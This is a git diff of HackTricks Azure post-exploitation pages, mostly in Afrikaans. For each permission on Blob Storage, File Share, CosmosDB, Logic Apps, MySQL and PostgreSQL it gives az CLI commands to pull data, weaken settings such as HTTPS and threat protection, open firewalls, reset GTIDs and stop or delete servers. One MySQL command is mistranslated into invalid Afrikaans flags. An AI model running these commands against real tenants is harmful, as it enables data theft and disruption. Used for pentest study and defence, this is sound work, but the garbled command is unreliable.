b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,7 +10,7 @@ Vir meer inligting oor berging, kyk: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` 'n Hoofpersoon met hierdie toestemming sal in staat wees om die **lys** van die blobs (lêers) binne 'n houer te **download** en die lêers wat moontlik **sensitiewe inligting** bevat. ```bash @@ -24,7 +24,7 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` 'n Hoofpersoon met hierdie toestemming sal in staat wees om **lêers in houers te skryf en te oorskryf** wat hom mag toelaat om skade aan te rig of selfs bevoegdhede te verhoog (bv. om 'n bietjie kode wat in 'n blob gestoor is, te oorskryf): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 72f14b9c3..40bd5e261 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -5,27 +5,21 @@ ## CosmosDB Post Exploitation Vir meer inligting oor SQL Database, kyk: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` Met hierdie toestemming kan jy Azure Cosmos DB-rekeninge skep of opdateer. Dit sluit die aanpassing van rekeningvlakinstellings in, die toevoeging of verwydering van streke, die verandering van konsekwentievlakke, en die inskakeling of deaktivering van funksies soos multi-streek skrywe. - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` Met hierdie toestemming kan jy houers (versamelings) binne 'n SQL-databasis van 'n Azure Cosmos DB-rekening skep of wysig. Houers word gebruik om data te stoor, en veranderinge aan hulle kan die databasis se struktuur en toegangspatrone beïnvloed. - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` Met hierdie toestemming kan jy SQL-databasisse binne 'n Azure Cosmos DB-rekening skep of wysig. Dit stel jou in staat om die databasisstruktuur te bestuur en nuwe databasisse aan die rekening toe te voeg. Terwyl hierdie toestemming databasiscreatie moontlik maak, kan onvanpaste of ongeoorloofde gebruik lei tot onnodige hulpbronverbruik, verhoogde koste, of operasionele ondoeltreffendhede. - -{% code overflow="wrap" %} ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` Met hierdie toestemming kan jy die failover prioriteit van streke vir 'n Azure Cosmos DB databasisrekening verander. Hierdie aksie bepaal die volgorde waarin streke primêr word tydens 'n failover gebeurtenis. Onbehoorlike gebruik van hierdie toestemming kan die hoë beskikbaarheid van die databasis ontwrig of lei tot onbedoelde operasionele impakte. - -{% code overflow="wrap" %} ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` Met hierdie toestemming kan jy die primêre of sekondêre sleutels vir 'n Azure Cosmos DB-rekening hergenerer. Dit word tipies gebruik om sekuriteit te verbeter deur ou sleutels te vervang, maar dit kan toegang vir dienste of toepassings wat op die huidige sleutels staatmaak, ontwrig. - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` Met hierdie toestemming kan jy triggers binne 'n houer van 'n SQL-databasis in 'n Azure Cosmos DB-rekening skep of wysig. Triggers stel jou in staat om bediener-kant logika uit te voer in reaksie op operasies. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` Met hierdie toestemming kan jy gestoor prosedures binne 'n houer van 'n SQL-databasis in 'n Azure Cosmos DB-rekening skep of wysig. Gestoor prosedures in Cosmos DB is bediener-kant JavaScript funksies wat jou toelaat om logika vir die verwerking van data of die uitvoering van operasies direk binne die databasis te enkapsuleer. - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` Met hierdie toestemming kan jy triggers binne 'n houer van 'n SQL-databasis in 'n Azure Cosmos DB-rekening skep of wysig. Triggers stel jou in staat om bediener-kant logika uit te voer in reaksie op operasies soos invoegings, opdaterings of verwyderings. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` Met hierdie toestemming kan jy versamelinge binne MongoDB-databasisse in 'n Azure Cosmos DB-rekening skep of wysig. Versamelinge word gebruik om dokumente te stoor en die struktuur en partitionering van data te definieer. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` Met hierdie toestemming kan jy nuwe MongoDB-databasisse binne 'n Azure Cosmos DB-rekening skep. Dit stel jou in staat om nuwe databasisse te voorsien om versamelings en dokumente te stoor en te bestuur. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` Met hierdie toestemming kan jy nuwe MongoDB rol definisies binne 'n Azure Cosmos DB rekening skep. Dit stel jou in staat om pasgemaakte rolle met spesifieke toestemmings vir MongoDB gebruikers te definieer. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` Met hierdie toestemming kan jy nuwe MongoDB gebruikersdefinisies binne 'n Azure Cosmos DB rekening skep. Dit stel die voorsiening van gebruikers met spesifieke rolle en toegangsvlakke tot MongoDB databasisse in staat. -{% code overflow="wrap" %} ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 80feae843..3fa662bd1 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -10,9 +10,9 @@ Vir meer inligting oor lêer dele, kyk: ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` -'n Hoofpersoon met hierdie toestemming sal in staat wees om die lêers binne 'n lêer deel te **lys** en die lêers te **aflaai** wat moontlik **sensitiewe inligting** kan bevat. +'n Hoofpersoon met hierdie toestemming sal in staat wees om **lys** die lêers binne 'n lêer deel en **af te laai** die lêers wat moontlik **sensitiewe inligting** kan bevat. ```bash # List files inside an azure file share az storage file list \ @@ -28,7 +28,7 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` 'n Hoofpersoon met hierdie toestemming sal in staat wees om **lêers in lêerdelings te skryf en te oorskryf** wat hom mag toelaat om skade aan te rig of selfs bevoegdhede te verhoog (bv. om 'n bietjie kode wat in 'n lêerdeling gestoor is, te oorskryf): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index d7eb75266..2bd993a4f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -1,18 +1,16 @@ -# Az - Logika Apps Post Exploitatie +# Az - Logic Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## Logika Apps Databasis Post Exploitatie -Vir meer inligting oor logika apps, kyk: +## Logic Apps Databasis Post Exploitation +Vir meer inligting oor logika-apps, kyk: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" -Met hierdie toestemmings kan jy Logika App werksvloeie wysig en hul identiteite bestuur. Spesifiek kan jy stelsels toegewyde en gebruikers toegewyde bestuurde identiteite aan werksvloeie toewys of verwyder, wat die Logika App in staat stel om te verifieer en toegang tot ander Azure hulpbronne te verkry sonder eksplisiete akrediteer. - -{% code overflow="wrap" %} +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` +Met hierdie toestemmings kan jy Logic App werkvloei verander en hul identiteite bestuur. Spesifiek kan jy stelsels toegewyde en gebruikers toegewyde bestuurde identiteite aan werkvloei toewys of verwyder, wat die Logic App in staat stel om te verifieer en toegang tot ander Azure hulpbronne te verkry sonder eksplisiete akrediteer. ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` Met hierdie toestemmings kan jy Logic Apps skep of opdateer wat op 'n App Service Plan gehosteer word. Dit sluit die aanpassing van instellings in, soos om HTTPS-afdwinging in of uit te skakel. - -{% code overflow="wrap" %} ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" -Met hierdie toestemming kan jy 'n webtoepassing begin/stop/restart, insluitend Logic Apps wat op 'n App Service Plan gehosteer word. Hierdie aksie verseker dat 'n voorheen gestopte toepassing aanlyn gebring word en sy funksionaliteit hervat. Dit kan werksvloei ontwrig, onbedoelde operasies ontketen, of stilstand veroorsaak deur Logic Apps onverwagte te begin, stop of herbegin. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` +Met hierdie toestemming kan jy 'n webtoepassing begin/stop/restart, insluitend Logic Apps wat op 'n App Service Plan gehos is. Hierdie aksie verseker dat 'n voorheen gestopte toepassing aanlyn gebring word en sy funksionaliteit hervat. Dit kan werksvloei ontwrig, onbedoelde operasies ontketen, of stilstand veroorsaak deur Logic Apps onverwagte te begin, stop of herbegin. ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} - - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` Met hierdie toestemming kan jy instellings vir webtoepassings konfigureer of wysig, insluitend Logic Apps wat op 'n App Service Plan gehos is. Dit stel veranderinge aan toepassingsinstellings, verbindingsstringe, outentikasie-konfigurasies, en meer moontlik. - -{% code overflow="wrap" %} ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" -Met hierdie toestemming kan jy Azure Logic Apps integrasie rekeninge skep, opdateer of verwyder. Dit sluit die bestuur van integrasie rekeningvlak konfigurasies in soos kaarte, skemas, vennote, ooreenkomste, en meer. - -{% code overflow="wrap" %} +### `Microsoft.Logic/integrationAccounts/write` +Met hierdie toestemming kan jy Azure Logic Apps integrasie rekeninge skep, opdateer of verwyder. Dit sluit die bestuur van integrasie rekening-vlak konfigurasies in soos kaarte, skemas, vennote, ooreenkomste, en meer. ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" - -Met hierdie toestemming kan jy batchkonfigurasies binne 'n Azure Logic Apps integrasiekonto skep of wysig. Batchkonfigurasies definieer hoe Logic Apps inkomende boodskappe verwerk en groepeer vir batchverwerking. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy batchkonfigurasies binne 'n Azure Logic Apps-integrasietekenrekening skep of wysig. Batchkonfigurasies definieer hoe Logic Apps inkomende boodskappe verwerk en groepeer vir batchverwerking. ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" -Met hierdie toestemming kan jy kaarte binne 'n Azure Logic Apps integrasie rekening skep of wysig. Kaarte word gebruik om data van een formaat na 'n ander te transformeer, wat naatlose integrasie tussen verskillende stelsels en toepassings moontlik maak. - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` +Met hierdie toestemming kan jy kaarte binne 'n Azure Logic Apps integrasietoevoer skep of wysig. Kaarte word gebruik om data van een formaat na 'n ander te transformeer, wat naatlose integrasie tussen verskillende stelsels en toepassings moontlik maak. ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" -Met hierdie toestemming kan jy vennote in 'n Azure Logic Apps integrasiekontoer skep of wysig. Vennote verteenwoordig entiteite of stelsels wat deelneem aan besigheid-tot-besigheid (B2B) werksvloei. - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` +Met hierdie toestemming kan jy vennote in 'n Azure Logic Apps integrasiewerkrekening skep of wysig. Vennote verteenwoordig entiteite of stelsels wat deelneem aan besigheid-tot-besigheid (B2B) werksvloei. ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" -Met hierdie toestemming kan jy sessies binne 'n Azure Logic Apps integrasiesrekening skep of wysig. Sessies word in B2B werkvloei gebruik om boodskappe te groepeer en verwante transaksies oor 'n gedefinieerde tydperk te volg. - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` +Met hierdie toestemming kan jy sessies binne 'n Azure Logic Apps integrasietoevoer skep of wysig. Sessies word in B2B werkvloei gebruik om boodskappe te groepeer en verwante transaksies oor 'n gedefinieerde tydperk te volg. ```bash az logic integration-account session create \ --resource-group \ @@ -147,10 +112,8 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" -Met hierdie toestemmings kan jy hulpbronne wat verband hou met Azure Logic Apps verwyder +Met hierdie toestemmings kan jy hulpbronne wat verband hou met Azure Logic Apps verwyder. diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 2a290a877..6ee144c5e 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -5,54 +5,40 @@ ## MySQL Databasis Post Exploitation Vir meer inligting oor MySQL Databasis, kyk: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` -Met hierdie toestemming kan jy nuwe databasis skep binne 'n MySQL Flexible Server instansie op Azure. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skep van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy nuwe databasis binne 'n MySQL Flexible Server-instansie op Azure skep. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skepping van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener. ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/backups/write` -### "Microsoft.DBforMySQL/flexibleServers/backups/write" - -Met hierdie toestemming kan jy die skep van rugsteun vir 'n MySQL Flexible Server-instansie op Azure begin. Dit stel gebruikers in staat om op aanvraag rugsteun te genereer, wat nuttig kan wees om data op spesifieke tydpunte te bewaar. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy die skep van rugsteun vir 'n MySQL Flexible Server-instansie op Azure begin. Dit stel gebruikers in staat om op aanvraag rugsteun te genereer, wat nuttig kan wees om data op spesifieke tydstippe te bewaar. ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" - -Met hierdie toestemming kan jy die Gevorderde Bedreigingsbeskerming (ATP) instellings vir 'n MySQL Flexibele Bediening op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n MySQL Flexible Server instance op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer. ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` Met hierdie toestemming kan jy firewallreëls vir 'n MySQL Flexible Server-instantie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan verkry. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel. - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -Met hierdie toestemming kan jy die GTID (Global Transaction Identifier) vir 'n MySQL Flexible Server-instansie op Azure reset. Die reset van die GTID sal alle outomatiese, op aanvraag rugsteun en geo-rugsteun wat voor die reset aksie geneem is, ongeldig maak. Na die GTID-reset sal jy nie in staat wees om PITR (point-in-time-restore) uit te voer nie, met die vinnigste herstelpunt of deur 'n pasgemaakte herstelpunt as die geselekteerde hersteltyd voor die GTID-resettyd is. En suksesvolle geo-herstel sal slegs moontlik wees na 5 dae. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy die GTID (Global Transaction Identifier) vir 'n MySQL Flexible Server-instansie op Azure reset. Die reset van die GTID sal alle outomatiese, op aanvraag rugsteun en geo-rugsteun wat voor die reset aksie geneem is, ongeldig maak. Na die GTID-reset sal jy nie in staat wees om PITR (point-in-time-restore) uit te voer nie, met die vinnigste herstelpunt of deur 'n pasgemaakte herstelpunt as die geselekteerde hersteltyd voor die GTID-resettyd is. En suksesvolle geo-herstel sal slegs na 5 dae moontlik wees. ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` Met hierdie toestemming kan jy die konfigurasie-instellings van 'n MySQL Flexible Server-instansie op Azure opdateer. Dit stel jou in staat om bedienerparameters soos prestasie-afstemming, sekuriteitskonfigurasies of operasionele instellings aan te pas. Jy kan die volgende parameters saam in 'n bondel opdateer: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, en max_connections. - -{% code overflow="wrap" %} ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" - -Met hierdie toestemming kan jy 'n gebruiker-toegewyde bestuurde identiteit aan MySQL buigsaam servers toewys. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy 'n gebruiker-toegepaste bestuurde identiteit aan MySQL buigbare bedieners toewys. ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/stop/action" +### `Microsoft.DBforMySQL/flexibleServers/stop/action` Met hierdie toestemming kan jy 'n PostgreSQL Flexible Server-instansie op Azure stop. Om 'n bediener te stop, kan lei tot tydelike diensonderbreking, wat toepassings en gebruikers wat van die databasis afhanklik is, beïnvloed. - -{% code overflow="wrap" %} ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql fleksible-bediener begin \ --naam \ --hulpbron-groep ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 6376e4a68..0fedac3c9 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -5,54 +5,40 @@ ## PostgreSQL Databasis Post Exploitation Vir meer inligting oor PostgreSQL Databasis, kyk: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Met hierdie toestemming kan jy nuwe databasis binne 'n Postgres Flexible Server-instansie op Azure skep. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skep van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy nuwe databasis skep binne 'n Postgres Flexible Server instance op Azure. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skep van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` Met hierdie toestemming kan jy die skep van rugsteun vir 'n Postgres Flexible Server-instansie op Azure begin. Dit stel gebruikers in staat om op aanvraag rugsteun te genereer, wat nuttig kan wees om data op spesifieke tydpunte te bewaar. - -{% code overflow="wrap" %} ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" - -Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n Postgres Flexible Server instance op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy die Advanced Threat 